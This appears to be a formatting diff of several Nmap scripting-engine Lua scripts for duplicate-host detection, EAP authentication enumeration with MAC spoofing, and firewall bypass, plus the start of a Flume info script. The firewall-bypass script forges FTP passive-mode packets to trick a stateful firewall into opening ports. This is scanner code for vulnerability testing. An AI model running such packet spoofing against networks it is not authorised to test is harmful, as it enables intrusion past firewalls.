local fp = ssh1.fingerprint_hex(key.fingerprint, key.algorithm, key.bits) local fp = ssh1.fingerprint_hex(key.fingerprint, key.algorithm, key.bits)
if not hostkeys[fp] then if not hostkeys[fp] then
hostkeys[fp] = {} hostkeys[fp] = {}
end end
-- discard duplicate IPs -- discard duplicate IPs
if not stdnse.contains(hostkeys[fp], ip) then if not stdnse.contains(hostkeys[fp], ip) then
table.insert(hostkeys[fp], ip) table.insert(hostkeys[fp], ip)
end end
end end
end end
-- look for hosts using the same hostkey -- look for hosts using the same hostkey
local results = {} local results = {}
for key, hosts in pairs(hostkeys) do for key, hosts in pairs(hostkeys) do
if #hostkeys[key] > 1 then if #hostkeys[key] > 1 then
table.sort(hostkeys[key], function(a, b) return ipOps.compare_ip(a, "lt", b) end) table.sort(hostkeys[key], function(a, b) return ipOps.compare_ip(a, "lt", b) end)
local str = 'Key ' .. key .. ':' local str = 'Key ' .. key .. ':'
table.insert( results, { name = str, hostkeys[key] } ) table.insert( results, { name = str, hostkeys[key] } )
end end
end end
return results return results
end end
local function processNBStat(tab) local function processNBStat(tab)
local results, mac_table, name_table = {}, {}, {} local results, mac_table, name_table = {}, {}, {}
for host, v in pairs(tab) do for host, v in pairs(tab) do
mac_table[v.mac] = mac_table[v.mac] or {} mac_table[v.mac] = mac_table[v.mac] or {}
if ( not(stdnse.contains(mac_table[v.mac], host.ip)) ) then if ( not(stdnse.contains(mac_table[v.mac], host.ip)) ) then
table.insert(mac_table[v.mac], host.ip) table.insert(mac_table[v.mac], host.ip)
end end
name_table[v.server_name] = name_table[v.server_name] or {} name_table[v.server_name] = name_table[v.server_name] or {}
if ( not(stdnse.contains(name_table[v.server_name], host.ip)) ) then if ( not(stdnse.contains(name_table[v.server_name], host.ip)) ) then
table.insert(name_table[v.server_name], host.ip) table.insert(name_table[v.server_name], host.ip)
end end
end end
for mac, hosts in pairs(mac_table) do for mac, hosts in pairs(mac_table) do
if ( #hosts > 1 ) then if ( #hosts > 1 ) then
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end) table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
table.insert(results, { name = ("MAC: %s"):format(mac), hosts }) table.insert(results, { name = ("MAC: %s"):format(mac), hosts })
end end
end end
for srvname, hosts in pairs(name_table) do for srvname, hosts in pairs(name_table) do
if ( #hosts > 1 ) then if ( #hosts > 1 ) then
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end) table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
table.insert(results, { name = ("Server Name: %s"):format(srvname), hosts }) table.insert(results, { name = ("Server Name: %s"):format(srvname), hosts })
end end
end end
return results return results
end end
local function processMAC(tab) local function processMAC(tab)
local mac local mac
local mac_table = {} local mac_table = {}
for host in pairs(tab) do for host in pairs(tab) do
if ( host.mac_addr ) then if ( host.mac_addr ) then
mac = stdnse.format_mac(host.mac_addr) mac = stdnse.format_mac(host.mac_addr)
mac_table[mac] = mac_table[mac] or {} mac_table[mac] = mac_table[mac] or {}
if ( not(stdnse.contains(mac_table[mac], host.ip)) ) then if ( not(stdnse.contains(mac_table[mac], host.ip)) ) then
table.insert(mac_table[mac], host.ip) table.insert(mac_table[mac], host.ip)
end end
end end
end end
local results = {} local results = {}
for mac, hosts in pairs(mac_table) do for mac, hosts in pairs(mac_table) do
if ( #hosts > 1 ) then if ( #hosts > 1 ) then
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end) table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
table.insert(results, { name = ("MAC: %s"):format(mac), hosts }) table.insert(results, { name = ("MAC: %s"):format(mac), hosts })
end end
end end
return results return results
end end
postaction = function() postaction = function()
local handlers = { local handlers = {
['ssl-cert'] = { func = processSSLCerts, name = "SSL" }, ['ssl-cert'] = { func = processSSLCerts, name = "SSL" },
['sshhostkey'] = { func = processSSHKeys, name = "SSH" }, ['sshhostkey'] = { func = processSSHKeys, name = "SSH" },
['nbstat'] = { func = processNBStat, name = "Netbios" }, ['nbstat'] = { func = processNBStat, name = "Netbios" },
['mac'] = { func = processMAC, name = "ARP" } ['mac'] = { func = processMAC, name = "ARP" }
} }
-- temporary re-allocation code for SSH keys -- temporary re-allocation code for SSH keys
for k, v in pairs(nmap.registry.sshhostkey or {}) do for k, v in pairs(nmap.registry.sshhostkey or {}) do
nmap.registry['duplicates'] = nmap.registry['duplicates'] or {} nmap.registry['duplicates'] = nmap.registry['duplicates'] or {}
nmap.registry['duplicates']['sshhostkey'] = nmap.registry['duplicates']['sshhostkey'] or {} nmap.registry['duplicates']['sshhostkey'] = nmap.registry['duplicates']['sshhostkey'] or {}
nmap.registry['duplicates']['sshhostkey'][k] = v nmap.registry['duplicates']['sshhostkey'][k] = v
end end
if ( not(nmap.registry['duplicates']) ) then if ( not(nmap.registry['duplicates']) ) then
return return
end end
local results = {} local results = {}
for key, handler in pairs(handlers) do for key, handler in pairs(handlers) do
if ( nmap.registry['duplicates'][key] ) then if ( nmap.registry['duplicates'][key] ) then
local result_part = handler.func( nmap.registry['duplicates'][key] ) local result_part = handler.func( nmap.registry['duplicates'][key] )
if ( result_part and #result_part > 0 ) then if ( result_part and #result_part > 0 ) then
table.insert(results, { name = handler.name, result_part } ) table.insert(results, { name = handler.name, result_part } )
end end
end end
end end
return stdnse.format_output(true, results) return stdnse.format_output(true, results)
end end
-- we have no real action in here. In essence we move information from the -- we have no real action in here. In essence we move information from the
@@ -213,25 +213,25 @@ end
-- it when we need it. -- it when we need it.
hostaction = function(host) hostaction = function(host)
nmap.registry['duplicates'] = nmap.registry['duplicates'] or {} nmap.registry['duplicates'] = nmap.registry['duplicates'] or {}
for port, cert in pairs(host.registry["ssl-cert"] or {}) do for port, cert in pairs(host.registry["ssl-cert"] or {}) do
nmap.registry['duplicates']['ssl-cert'] = nmap.registry['duplicates']['ssl-cert'] or {} nmap.registry['duplicates']['ssl-cert'] = nmap.registry['duplicates']['ssl-cert'] or {}
nmap.registry['duplicates']['ssl-cert'][host] = nmap.registry['duplicates']['ssl-cert'][host] or {} nmap.registry['duplicates']['ssl-cert'][host] = nmap.registry['duplicates']['ssl-cert'][host] or {}
nmap.registry['duplicates']['ssl-cert'][host][port] = stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 }) nmap.registry['duplicates']['ssl-cert'][host][port] = stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 })
end end
if ( host.registry['nbstat'] ) then if ( host.registry['nbstat'] ) then
nmap.registry['duplicates']['nbstat'] = nmap.registry['duplicates']['nbstat'] or {} nmap.registry['duplicates']['nbstat'] = nmap.registry['duplicates']['nbstat'] or {}
nmap.registry['duplicates']['nbstat'][host] = host.registry['nbstat'] nmap.registry['duplicates']['nbstat'][host] = host.registry['nbstat']
end end
if ( host.mac_addr_src ) then if ( host.mac_addr_src ) then
nmap.registry['duplicates']['mac'] = nmap.registry['duplicates']['mac'] or {} nmap.registry['duplicates']['mac'] = nmap.registry['duplicates']['mac'] or {}
nmap.registry['duplicates']['mac'][host] = true nmap.registry['duplicates']['mac'][host] = true
end end
return return
end end
local Actions = { local Actions = {

View File

@@ -36,159 +36,159 @@ categories = { "broadcast", "safe" }
prerule = function() prerule = function()
return nmap.is_privileged() return nmap.is_privileged()
end end
local default_scan = { local default_scan = {
eap.eap_t.TLS, eap.eap_t.TLS,
eap.eap_t.TTLS, eap.eap_t.TTLS,
eap.eap_t.PEAP, eap.eap_t.PEAP,
eap.eap_t.MSCHAP, eap.eap_t.MSCHAP,
} }
local UNKNOWN = "unknown" local UNKNOWN = "unknown"
action = function() action = function()
local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
local arg_identity = stdnse.get_script_args(SCRIPT_NAME .. ".identity") local arg_identity = stdnse.get_script_args(SCRIPT_NAME .. ".identity")
local arg_scan = stdnse.get_script_args(SCRIPT_NAME .. ".scan") local arg_scan = stdnse.get_script_args(SCRIPT_NAME .. ".scan")
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local iface local iface
-- trying with provided interface name -- trying with provided interface name
if arg_interface then if arg_interface then
iface = nmap.get_interface_info(arg_interface) iface = nmap.get_interface_info(arg_interface)
end end
-- trying with default nmap interface -- trying with default nmap interface
if not iface then if not iface then
local iname = nmap.get_interface() local iname = nmap.get_interface()
if iname then if iname then
iface = nmap.get_interface_info(iname) iface = nmap.get_interface_info(iname)
end end
end end
-- failed -- failed
if not iface then if not iface then
return "please specify an interface with -e" return "please specify an interface with -e"
end end
stdnse.print_debug(1, "iface: %s", iface.device) stdnse.print_debug(1, "iface: %s", iface.device)
local timeout = (arg_timeout or 10) * 1000 local timeout = (arg_timeout or 10) * 1000
stdnse.print_debug(2, "timeout: %s", timeout) stdnse.print_debug(2, "timeout: %s", timeout)
local pcap = nmap.new_socket() local pcap = nmap.new_socket()
pcap:pcap_open(iface.device, 512, true, "ether proto 0x888e") pcap:pcap_open(iface.device, 512, true, "ether proto 0x888e")
local identity = { name="anonymous", auth = {}, probe = -1 } local identity = { name="anonymous", auth = {}, probe = -1 }
if arg_identity then if arg_identity then
identity.name = tostring(arg_identity) identity.name = tostring(arg_identity)
end end
local scan local scan
if arg_scan == nil or type(arg_scan) ~= "table" or #arg_scan == 0 then if arg_scan == nil or type(arg_scan) ~= "table" or #arg_scan == 0 then
scan = default_scan scan = default_scan
else else
scan = arg_scan scan = arg_scan
end end
local valid = false local valid = false
for i,v in ipairs(scan) do for i,v in ipairs(scan) do
v = tonumber(v) v = tonumber(v)
if v ~= nil and v < 256 and v > 3 then if v ~= nil and v < 256 and v > 3 then
stdnse.print_debug(1, "selected: %s", eap.eap_str[v] or "unassigned" ) stdnse.print_debug(1, "selected: %s", eap.eap_str[v] or "unassigned" )
identity.auth[v] = UNKNOWN identity.auth[v] = UNKNOWN
valid = true valid = true
end end
end end
if not valid then if not valid then
return "no valid scan methods provided" return "no valid scan methods provided"
end end
local tried_all = false local tried_all = false
local start_time = nmap.clock_ms() local start_time = nmap.clock_ms()
eap.send_start(iface) eap.send_start(iface)
while(nmap.clock_ms() - start_time < timeout) and not tried_all do while(nmap.clock_ms() - start_time < timeout) and not tried_all do
local status, plen, l2_data, l3_data, time = pcap:pcap_receive() local status, plen, l2_data, l3_data, time = pcap:pcap_receive()
if (status) then if (status) then
stdnse.print_debug(2, "packet size: 0x%x", plen ) stdnse.print_debug(2, "packet size: 0x%x", plen )
local packet = eap.parse(l2_data .. l3_data) local packet = eap.parse(l2_data .. l3_data)
if packet then if packet then
stdnse.print_debug(2, "packet valid") stdnse.print_debug(2, "packet valid")
-- respond to identity requests, using the same session id -- respond to identity requests, using the same session id
if packet.eap.type == eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then if packet.eap.type == eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then
stdnse.print_debug(1, "server identity: %s",packet.eap.body.identity) stdnse.print_debug(1, "server identity: %s",packet.eap.body.identity)
eap.send_identity_response(iface, packet.eap.id, identity.name) eap.send_identity_response(iface, packet.eap.id, identity.name)
end end
-- respond with NAK to every auth request to enumerate them until we get a failure -- respond with NAK to every auth request to enumerate them until we get a failure
if packet.eap.type ~= eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then if packet.eap.type ~= eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then
stdnse.print_debug(1, "auth request: %s",eap.eap_str[packet.eap.type]) stdnse.print_debug(1, "auth request: %s",eap.eap_str[packet.eap.type])
identity.auth[packet.eap.type] = true identity.auth[packet.eap.type] = true
identity.probe = -1 identity.probe = -1
for i,v in pairs(identity.auth) do for i,v in pairs(identity.auth) do
stdnse.print_debug(1, "identity.auth: %d %s",i,tostring(v)) stdnse.print_debug(1, "identity.auth: %d %s",i,tostring(v))
if v == UNKNOWN then if v == UNKNOWN then
identity.probe = i identity.probe = i
eap.send_nak_response(iface, packet.eap.id, i) eap.send_nak_response(iface, packet.eap.id, i)
break break
end end
end end
if identity.probe == -1 then tried_all = true end if identity.probe == -1 then tried_all = true end
end end
-- retry on failure -- retry on failure
if packet.eap.code == eap.code_t.FAILURE then if packet.eap.code == eap.code_t.FAILURE then
stdnse.print_debug(1, "auth failure") stdnse.print_debug(1, "auth failure")
identity.auth[identity.probe] = false identity.auth[identity.probe] = false
-- don't give up at the first failure! -- don't give up at the first failure!
-- mac spoofing to avoid to wait too much -- mac spoofing to avoid to wait too much
local d = string.byte(iface.mac,6) local d = string.byte(iface.mac,6)
d = (d + 1) % 256 d = (d + 1) % 256
iface.mac = iface.mac:sub(1,5) .. bin.pack("C",d) iface.mac = iface.mac:sub(1,5) .. bin.pack("C",d)
tried_all = true tried_all = true
for i,v in pairs(identity.auth) do for i,v in pairs(identity.auth) do
if v == UNKNOWN then if v == UNKNOWN then
tried_all = false tried_all = false
break break
end end
end end
if not tried_all then if not tried_all then
eap.send_start(iface) eap.send_start(iface)
end end
end end
else else
stdnse.print_debug(1, "packet invalid! wrong filter?") stdnse.print_debug(1, "packet invalid! wrong filter?")
end end
end end
end end
local results = { ["name"] = ("Available authentication methods with identity=\"%s\" on interface %s"):format(identity.name, iface.device) } local results = { ["name"] = ("Available authentication methods with identity=\"%s\" on interface %s"):format(identity.name, iface.device) }
for i,v in pairs(identity.auth) do for i,v in pairs(identity.auth) do
if v== true then if v== true then
table.insert(results, 1, ("%-8s %s"):format(tostring(v), eap.eap_str[i] or "unassigned" )) table.insert(results, 1, ("%-8s %s"):format(tostring(v), eap.eap_str[i] or "unassigned" ))
else else
table.insert(results, ("%-8s %s"):format(tostring(v), eap.eap_str[i] or "unassigned" )) table.insert(results, ("%-8s %s"):format(tostring(v), eap.eap_str[i] or "unassigned" ))
end end
end end
for i,v in ipairs(results) do for i,v in ipairs(results) do
stdnse.print_debug(1, "%s", tostring(v)) stdnse.print_debug(1, "%s", tostring(v))
end end
return stdnse.format_output(true, results) return stdnse.format_output(true, results)
end end

View File

@@ -43,234 +43,234 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive"} categories = {"vuln", "intrusive"}
ftp_helper = { ftp_helper = {
should_run = function(host, helperport) should_run = function(host, helperport)
local helperport = helperport or 21 local helperport = helperport or 21
-- IPv4 and IPv6 are supported -- IPv4 and IPv6 are supported
if nmap.address_family() ~= 'inet' and nmap.address_family() ~= 'inet6' then if nmap.address_family() ~= 'inet' and nmap.address_family() ~= 'inet6' then
return false return false
end
-- Test if helper port is open
local testsock = nmap.new_socket()
testsock:set_timeout(1000)
local status, _ = testsock:connect(host.ip, helperport)
testsock:close()
if not status then
stdnse.print_debug("%s Unable to connect to %s helper port.", SCRIPT_NAME, helperport)
return false
end
return true
end,
attack = function(host, helperport, targetport)
local ethertype, payload
local isIp4 = nmap.address_family() == 'inet' -- True if we are using IPv4. Otherwise, it is IPv6
if isIp4 then
-- IPv4 payload
payload = "227 Entering Passive Mode (" ..
string.gsub(host.ip,"%.",",") .. "," ..
bit.band(bit.rshift(targetport, 8), 0xff) ..
"," .. bit.band(targetport, 0xff) ..
")\r\n"
ethertype = string.char(0x08, 0x00) -- Ethernet Type: IPv4
else
-- IPv6 payload
payload = "229 Extended Passive Mode OK (|||" .. targetport .. "|)\r\n"
ethertype = string.char(0x86, 0xdd) -- Ethernet Type: IPv6
end
helperport = helperport or 21
local function spoof_ftp_packet(host, helperport, targetport)
-- Sniffs the network for src host host.ip and src port helperport
local filter = "src host " .. host.ip .. " and tcp src port " .. helperport
local status, l2data, l3data
local timeout = 1000
local start = nmap.clock_ms()
-- Start sniffing
local sniffer = nmap.new_socket()
sniffer:set_timeout(100)
sniffer:pcap_open(host.interface, 256, true, filter)
-- Until we get adequate packet
while (nmap.clock_ms() - start) < timeout do
local _
status, _, l2data, l3data = sniffer:pcap_receive()
if status and string.find(l3data, "220 ") then
break
end end
end
-- Test if helper port is open -- Get ethernet values
local testsock = nmap.new_socket() local f = packet.Frame:new(l2data)
testsock:set_timeout(1000) f:ether_parse()
local status, _ = testsock:connect(host.ip, helperport)
testsock:close() local p = packet.Packet:new(l3data, #l3data)
if not status then if isIp4 then
stdnse.print_debug("%s Unable to connect to %s helper port.", SCRIPT_NAME, helperport) if not p:ip_parse() then
return false -- An error happened
stdnse.print_debug("%s Couldn't parse IPv4 sniffed packet.", SCRIPT_NAME)
sniffer:pcap_close()
return false
end end
return true else
end, if not p:ip6_parse() then
-- An error happened
attack = function(host, helperport, targetport) stdnse.print_debug("%s Couldn't parse IPv6 sniffed packet.", SCRIPT_NAME)
local ethertype, payload sniffer:pcap_close()
local isIp4 = nmap.address_family() == 'inet' -- True if we are using IPv4. Otherwise, it is IPv6 return false
if isIp4 then
-- IPv4 payload
payload = "227 Entering Passive Mode (" ..
string.gsub(host.ip,"%.",",") .. "," ..
bit.band(bit.rshift(targetport, 8), 0xff) ..
"," .. bit.band(targetport, 0xff) ..
")\r\n"
ethertype = string.char(0x08, 0x00) -- Ethernet Type: IPv4
else
-- IPv6 payload
payload = "229 Extended Passive Mode OK (|||" .. targetport .. "|)\r\n"
ethertype = string.char(0x86, 0xdd) -- Ethernet Type: IPv6
end
helperport = helperport or 21
local function spoof_ftp_packet(host, helperport, targetport)
-- Sniffs the network for src host host.ip and src port helperport
local filter = "src host " .. host.ip .. " and tcp src port " .. helperport
local status, l2data, l3data
local timeout = 1000
local start = nmap.clock_ms()
-- Start sniffing
local sniffer = nmap.new_socket()
sniffer:set_timeout(100)
sniffer:pcap_open(host.interface, 256, true, filter)
-- Until we get adequate packet
while (nmap.clock_ms() - start) < timeout do
local _
status, _, l2data, l3data = sniffer:pcap_receive()
if status and string.find(l3data, "220 ") then
break
end
end
-- Get ethernet values
local f = packet.Frame:new(l2data)
f:ether_parse()
local p = packet.Packet:new(l3data, #l3data)
if isIp4 then
if not p:ip_parse() then
-- An error happened
stdnse.print_debug("%s Couldn't parse IPv4 sniffed packet.", SCRIPT_NAME)
sniffer:pcap_close()
return false
end
else
if not p:ip6_parse() then
-- An error happened
stdnse.print_debug("%s Couldn't parse IPv6 sniffed packet.", SCRIPT_NAME)
sniffer:pcap_close()
return false
end
end
-- Spoof packet
-- 1. Invert ethernet addresses
f.frame_buf = f.mac_src .. f.mac_dst .. ethertype
-- 2. Modify packet payload
p.buf = string.sub(p.buf, 1, p.tcp_data_offset) .. payload
-- 3. Increment IP ID field (IPv4 packets)
if isIp4 then
p:ip_set_id(p.ip_id + 1)
end
-- 4. Set TCP sequence number correctly using traffic data
p:tcp_set_seq(p.tcp_seq + p.tcp_data_length)
-- 5. Update all checksums and lengths
if isIp4 then
-- Packet length field
p:ip_set_len(#p.buf)
p:ip_count_checksum()
else
-- Payload length field
p:ip6_set_plen(#p.buf - p.tcp_offset)
end
p:tcp_count_checksum()
-- and finally, we send it.
local dnet = nmap.new_dnet()
dnet:ethernet_open(host.interface)
dnet:ethernet_send(f.frame_buf .. p.buf)
status = sniffer:pcap_receive()
dnet:ethernet_close()
return true
end end
end
local co = stdnse.new_thread(spoof_ftp_packet, host, helperport, targetport) -- Spoof packet
-- 1. Invert ethernet addresses
f.frame_buf = f.mac_src .. f.mac_dst .. ethertype
-- Wait for packet spoofing thread -- 2. Modify packet payload
stdnse.sleep(1) p.buf = string.sub(p.buf, 1, p.tcp_data_offset) .. payload
-- Make connection to the target while packet the spoofing thread is sniffing for packets -- 3. Increment IP ID field (IPv4 packets)
local socket = nmap.new_socket() if isIp4 then
socket:set_timeout(3000) p:ip_set_id(p.ip_id + 1)
local status, _ = socket:connect(host.ip, helperport) end
if not status then
-- Problem connecting to helper port
stdnse.print_debug("%s Problem connecting to helper port %s.", SCRIPT_NAME, tostring(helperport))
return
end
-- wait packet spoofing thread to finish -- 4. Set TCP sequence number correctly using traffic data
stdnse.sleep(1.5) p:tcp_set_seq(p.tcp_seq + p.tcp_data_length)
socket:close()
return -- 5. Update all checksums and lengths
end, if isIp4 then
-- Packet length field
p:ip_set_len(#p.buf)
p:ip_count_checksum()
else
-- Payload length field
p:ip6_set_plen(#p.buf - p.tcp_offset)
end
p:tcp_count_checksum()
-- and finally, we send it.
local dnet = nmap.new_dnet()
dnet:ethernet_open(host.interface)
dnet:ethernet_send(f.frame_buf .. p.buf)
status = sniffer:pcap_receive()
dnet:ethernet_close()
return true
end
local co = stdnse.new_thread(spoof_ftp_packet, host, helperport, targetport)
-- Wait for packet spoofing thread
stdnse.sleep(1)
-- Make connection to the target while packet the spoofing thread is sniffing for packets
local socket = nmap.new_socket()
socket:set_timeout(3000)
local status, _ = socket:connect(host.ip, helperport)
if not status then
-- Problem connecting to helper port
stdnse.print_debug("%s Problem connecting to helper port %s.", SCRIPT_NAME, tostring(helperport))
return
end
-- wait packet spoofing thread to finish
stdnse.sleep(1.5)
socket:close()
return
end,
} }
-- List of helpers -- List of helpers
local helpers = { local helpers = {
ftp = ftp_helper, -- FTP (IPv4 and IPv6) ftp = ftp_helper, -- FTP (IPv4 and IPv6)
} }
local helper local helper
hostrule = function(host) hostrule = function(host)
helper = stdnse.get_script_args(SCRIPT_NAME .. ".helper") helper = stdnse.get_script_args(SCRIPT_NAME .. ".helper")
if not nmap.is_privileged() then if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {} nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s lacks privileges.", SCRIPT_NAME ) stdnse.print_verbose("%s lacks privileges.", SCRIPT_NAME )
nmap.registry[SCRIPT_NAME].rootfail = true nmap.registry[SCRIPT_NAME].rootfail = true
end
return false
end end
return false
end
if not host.interface then if not host.interface then
return false return false
end end
if helper and not helpers[helper] then if helper and not helpers[helper] then
stdnse.print_debug("%s %s helper not supported at the moment.", SCRIPT_NAME, helper) stdnse.print_debug("%s %s helper not supported at the moment.", SCRIPT_NAME, helper)
return false return false
end end
return true return true
end end
action = function(host, port) action = function(host, port)
local helperport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".helperport")) local helperport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".helperport"))
local targetport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".targetport")) local targetport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".targetport"))
local helpername local helpername
if targetport then if targetport then
-- We should check if target port is not already open -- We should check if target port is not already open
local testsock = nmap.new_socket()
testsock:set_timeout(1000)
local status, _ = testsock:connect(host.ip, targetport)
if status then
stdnse.print_debug("%s %s target port already open.", SCRIPT_NAME, targetport)
return nil
end
testsock:close()
else
-- If not target port specified, we try to get a filtered port,
-- which would be more likely blocked by a firewall before looking for a closed one.
local port = nmap.get_ports(host, nil, "tcp", "filtered") or nmap.get_ports(host, nil, "tcp", "closed")
if port then
targetport = port.number
stdnse.print_debug("%s %s chosen as target port.", SCRIPT_NAME, targetport)
else
-- No closed or filtered ports to check on.
stdnse.print_debug("%s Target port not specified and no closed or filtered port found.", SCRIPT_NAME)
return
end
end
-- If helper chosen by user
if helper then
if helpers[helper].should_run(host, helperport) then
helpers[helper].attack(host, helperport, targetport)
else
return
end
-- If no helper chosen manually, we iterate over table to find a suitable one.
else
for i, helper in pairs(helpers) do
if helper.should_run(host, helperport) then
helpername = i
stdnse.print_debug("%s %s chosen as helper.", SCRIPT_NAME, helpername)
helper.attack(host, helperport, targetport)
break
end
end
if not helpername then
stdnse.print_debug("%s no suitable helper found.", SCRIPT_NAME)
return nil
end
end
-- Then we check if target port is now open.
local testsock = nmap.new_socket() local testsock = nmap.new_socket()
testsock:set_timeout(1000) testsock:set_timeout(1000)
local status, _ = testsock:connect(host.ip, targetport) local status, _ = testsock:connect(host.ip, targetport)
testsock:close()
if status then if status then
-- If we could connect, then port is open and firewall is vulnerable. stdnse.print_debug("%s %s target port already open.", SCRIPT_NAME, targetport)
local vulnstring = "Firewall vulnerable to bypass through " .. (helper or helpername) .. " helper. " return nil
.. (nmap.address_family() == 'inet' and "(IPv4)" or "(IPv6)")
return stdnse.format_output(true, vulnstring)
end end
testsock:close()
else
-- If not target port specified, we try to get a filtered port,
-- which would be more likely blocked by a firewall before looking for a closed one.
local port = nmap.get_ports(host, nil, "tcp", "filtered") or nmap.get_ports(host, nil, "tcp", "closed")
if port then
targetport = port.number
stdnse.print_debug("%s %s chosen as target port.", SCRIPT_NAME, targetport)
else
-- No closed or filtered ports to check on.
stdnse.print_debug("%s Target port not specified and no closed or filtered port found.", SCRIPT_NAME)
return
end
end
-- If helper chosen by user
if helper then
if helpers[helper].should_run(host, helperport) then
helpers[helper].attack(host, helperport, targetport)
else
return
end
-- If no helper chosen manually, we iterate over table to find a suitable one.
else
for i, helper in pairs(helpers) do
if helper.should_run(host, helperport) then
helpername = i
stdnse.print_debug("%s %s chosen as helper.", SCRIPT_NAME, helpername)
helper.attack(host, helperport, targetport)
break
end
end
if not helpername then
stdnse.print_debug("%s no suitable helper found.", SCRIPT_NAME)
return nil
end
end
-- Then we check if target port is now open.
local testsock = nmap.new_socket()
testsock:set_timeout(1000)
local status, _ = testsock:connect(host.ip, targetport)
testsock:close()
if status then
-- If we could connect, then port is open and firewall is vulnerable.
local vulnstring = "Firewall vulnerable to bypass through " .. (helper or helpername) .. " helper. "
.. (nmap.address_family() == 'inet' and "(IPv4)" or "(IPv6)")
return stdnse.format_output(true, vulnstring)
end
end end

View File

@@ -86,131 +86,131 @@ categories = {"default", "discovery", "safe"}
portrule = function(host, port) portrule = function(host, port)
-- Run for the special port number, or for any HTTP-like service that is -- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port. -- not on a usual HTTP port.
return shortport.port_or_service ({35871}, "flume-master")(host, port) return shortport.port_or_service ({35871}, "flume-master")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port)) or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
end end
function add_target(hostname) function add_target(hostname)
if target.ALLOW_NEW_TARGETS then if target.ALLOW_NEW_TARGETS then
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, hostname)) stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, hostname))
local status,err = target.add(hostname) local status,err = target.add(hostname)
end end
end end
-- ref: http://lua-users.org/wiki/TableUtils -- ref: http://lua-users.org/wiki/TableUtils
function table_count(tt, item) function table_count(tt, item)
local count local count
count = 0 count = 0
for ii,xx in pairs(tt) do for ii,xx in pairs(tt) do
if item == xx then count = count + 1 end if item == xx then count = count + 1 end
end end
return count return count
end end
parse_page = function( host, port, uri, intresting_keys ) parse_page = function( host, port, uri, intresting_keys )
local result = {} local result = {}
local response = http.get( host, port, uri ) local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" )) stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" ))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%") local body = response['body']:gsub("%%","%%%%")
for name,value in string.gmatch(body,"<tr><th>([^][<]+)</th>%s*<td><div%sclass=[^][>]+>([^][<]+)") do for name,value in string.gmatch(body,"<tr><th>([^][<]+)</th>%s*<td><div%sclass=[^][>]+>([^][<]+)") do
stdnse.print_debug(1, ("%s: %s=%s "):format(SCRIPT_NAME,name,value:gsub("^%s*(.-)%s*$", "%1"))) stdnse.print_debug(1, ("%s: %s=%s "):format(SCRIPT_NAME,name,value:gsub("^%s*(.-)%s*$", "%1")))
if nmap.verbosity() > 1 then if nmap.verbosity() > 1 then
result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1")) result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1"))
else else
for i,v in ipairs(intresting_keys) do for i,v in ipairs(intresting_keys) do
if name:match(("^%s"):format(v)) then if name:match(("^%s"):format(v)) then
result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1")) result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1"))
end end
end end
end end
end end
end end
return result return result
end end
action = function( host, port ) action = function( host, port )
local result = {} local result = {}
local uri = "/flumemaster.jsp" local uri = "/flumemaster.jsp"
local env_uri = "/masterenv.jsp" local env_uri = "/masterenv.jsp"
local config_uri = "/masterstaticconfig.jsp" local config_uri = "/masterstaticconfig.jsp"
local env_keys = {"java.runtime","java.version","java.vm.name","java.vm.vendor","java.vm.version","os","user.name","user.country","user.language,user.timezone"} local env_keys = {"java.runtime","java.version","java.vm.name","java.vm.vendor","java.vm.version","os","user.name","user.country","user.language,user.timezone"}
